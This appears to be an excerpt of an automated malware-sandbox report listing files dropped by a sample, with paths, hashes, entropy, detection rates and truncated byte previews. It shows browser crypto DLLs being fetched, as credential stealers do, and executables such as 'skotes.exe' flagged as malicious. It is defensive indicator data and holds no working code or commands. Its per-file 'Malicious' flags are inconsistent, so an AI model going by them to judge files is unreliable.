SHA-256:	516D710AE79DA52C17219794DFB8713F4DAB758422AFE3C05DFFD28854CD073D
SHA-512:	D27B07020B8308E90CB46A0C9030CEA426A29AF882D13448D2044CC11CDDB6D519BFEAAEDB1DCBABE161A2B8BCF5959642EE19D9FD6C43AA3669EA6FC01481CC
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/23E0BF2A704D26A877BDB9592A2A1D14",.. "id": "23E0BF2A704D26A877BDB9592A2A1D14",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/23E0BF2A704D26A877BDB9592A2A1D14"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/6820FB1C9C70832F8A3EC53DB64BBB3A",.. "id": "6820FB1C9C70832F8A3EC53DB64BBB3A",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/6820FB1C9C70832F8A3EC53DB64BBB3A"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1893376
Entropy (8bit):	7.949618236707806
Encrypted:	false
SSDEEP:	49152:YnKbQQ4tvTNUlSLM0Ikk0FXbPc5JxxMZwsS/:LbNKLSl3kkULk5JxxMZws
MD5:	833012C3FEA2D5FE7974D1CBBA4FC697
SHA1:	1633E040BDF2FEA553B1FA782B152081C86F403C
SHA-256:	C71570B0770028AD3E31C790390AB3ED7CB582B561CB5A775EA1BB541EB6967E
SHA-512:	E05C555409607CE7046C0994619879D8AA1EEBACA61B8F0AA9A78AC342601D3B8F7C52665AFC59356138118D0C715FFB6D01D86E7CF9737F9D5B6070CB0EFE96
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@.......................... K...........@.................................W...k.......H...................$.J...............................J..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .`*.........................@...durrfrps......1.....................@...porwkuev......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4411392
Entropy (8bit):	7.9865971816373635
Encrypted:	false
SSDEEP:	98304:reo26wlugC/FULu+FbmAqBYnuCKdagRhoxjoMhOSpaBOFQk2Cq:reh6SwUL3aAXnn01RCx8SXyOFQk2C
MD5:	D0C3D4568B6684933FD3BB8302CF9438
SHA1:	8009636DB9D31F53142794C07689AC3E25A2BD9C
SHA-256:	C4ABB786F92D0BA4D99EF315BF29295B80FB292007DE373891705D28AA10BE97
SHA-512:	621D0F9767CFEA0457FE11C0AEE0493183E6743E649389C69FDC87DF8456619F151DE6F7974A460E0EDF1BADD6C1811AB27DF6CCF15D455F073E9EF09A0EF6FF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2...p........J...@.................................W1D...@... ............................._.q.s...........................t]..............................$]...................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..8...q.......'.............@...snkouwyn..............'.............@...vyybilms.....`.......*C.............@....taggant.0...p..."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4411392
Entropy (8bit):	7.9865971816373635
Encrypted:	false
SSDEEP:	98304:reo26wlugC/FULu+FbmAqBYnuCKdagRhoxjoMhOSpaBOFQk2Cq:reh6SwUL3aAXnn01RCx8SXyOFQk2C
MD5:	D0C3D4568B6684933FD3BB8302CF9438
SHA1:	8009636DB9D31F53142794C07689AC3E25A2BD9C
SHA-256:	C4ABB786F92D0BA4D99EF315BF29295B80FB292007DE373891705D28AA10BE97
SHA-512:	621D0F9767CFEA0457FE11C0AEE0493183E6743E649389C69FDC87DF8456619F151DE6F7974A460E0EDF1BADD6C1811AB27DF6CCF15D455F073E9EF09A0EF6FF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2...p........J...@.................................W1D...@... ............................._.q.s...........................t]..............................$]...................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..8...q.......'.............@...snkouwyn..............'.............@...vyybilms.....`.......*C.............@....taggant.0...p..."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\14ccab17-fa85-4ec2-91f4-d59977f5668e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\19737233-ced3-4ed5-b72b-10fe3ea1ddf7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\7d5462a8-8409-4684-b8cd-5c3fed81e504.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsAEBGHDBKEB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1893376
Entropy (8bit):	7.949618236707806
Encrypted:	false
SSDEEP:	49152:YnKbQQ4tvTNUlSLM0Ikk0FXbPc5JxxMZwsS/:LbNKLSl3kkULk5JxxMZws
MD5:	833012C3FEA2D5FE7974D1CBBA4FC697
SHA1:	1633E040BDF2FEA553B1FA782B152081C86F403C
SHA-256:	C71570B0770028AD3E31C790390AB3ED7CB582B561CB5A775EA1BB541EB6967E
SHA-512:	E05C555409607CE7046C0994619879D8AA1EEBACA61B8F0AA9A78AC342601D3B8F7C52665AFC59356138118D0C715FFB6D01D86E7CF9737F9D5B6070CB0EFE96
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@.......................... K...........@.................................W...k.......H...................$.J...............................J..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .`*.........................@...durrfrps......1.....................@...porwkuev......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bc0ad133-3c5d-4a12-93e7-ee6870745904.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz88:fbb1UdS8scZNzFrMa4M+lKqeZ
MD5:	703D592C85D2790D89047C1614A54B4F
SHA1:	0C08F096AD544A63ACE8AA1AA738CC0B374F2A23
SHA-256:	A01513000969824FA1761DCDD77F5EE9B6FD958B4E9596522CEBC47BB69DF194
SHA-512:	D0C0F0B0A060D3DD52942556615B93971292E1F0C10555681CB6E4857E605EB2CFBACBADD263FB954D4062A63BBCCCB4B514428FDB95F6C0C94CC221B28B1ED5
Malicious:	false
Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.395124084830217
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0YGL5TA0Y3V5M:JIVuwEw5MUFZLBQLtCNWM
MD5:	D0B11660EA716B16C0D39E3A69D9DE0B
SHA1:	D33AF9E71D891EC37D915FF872804A9790AE3D37
SHA-256:	31F94C3E385F9A19FCC0F663EFE3D0EC87C2726B272354853F170BAFBFF4EFC9
SHA-512:	552E1F160B6482F9CFE13E5B8FAE81A9804BFC63E8075F339AA8E17293AF9D0A90CB65BF37C0FDABEA530533D198FA91ABF6DD638BF7ADC2E1685AC2B442DF57
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\d64ab21d-7d74-443c-a46b-ac1999c77aeb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\e2e11d9a-150b-473d-af50-45e2180595bd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\f002861e-584a-4a97-9256-01e3373a0b2f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, comment: "Lavc59.36.100", baseline, precision 8, 1280x720, components 3
Category:	dropped
Size (bytes):	1631454
Entropy (8bit):	7.9933698656841425
Encrypted:	true
SSDEEP:	49152:SQSD5V/R7fAYXfVFyORPINoTMF2d7oS+ndrg7WC:XqVZ7fAYPOYQNoTE2KRraZ
MD5:	08A10FCAE0F7646BBCA8AC401740F86B
SHA1:	ED1BFC55BA5482EA384BE17599300C1F18DA6282
SHA-256:	D77DB6C7010F7B36BEEF44867F98D600AE4B0844B879E964C6ACE9A7496A6836
SHA-512:	3A633DECE014DE58BA7A1D7CA8B31462D4FCE7FB9404D9A36F33AF878D16DA1ADB0D237287342C5EEC8A6F56EB807C0D751C969C75960E8D412B445C25FA636B
Malicious:	false
Preview:	.....XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1..........................

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
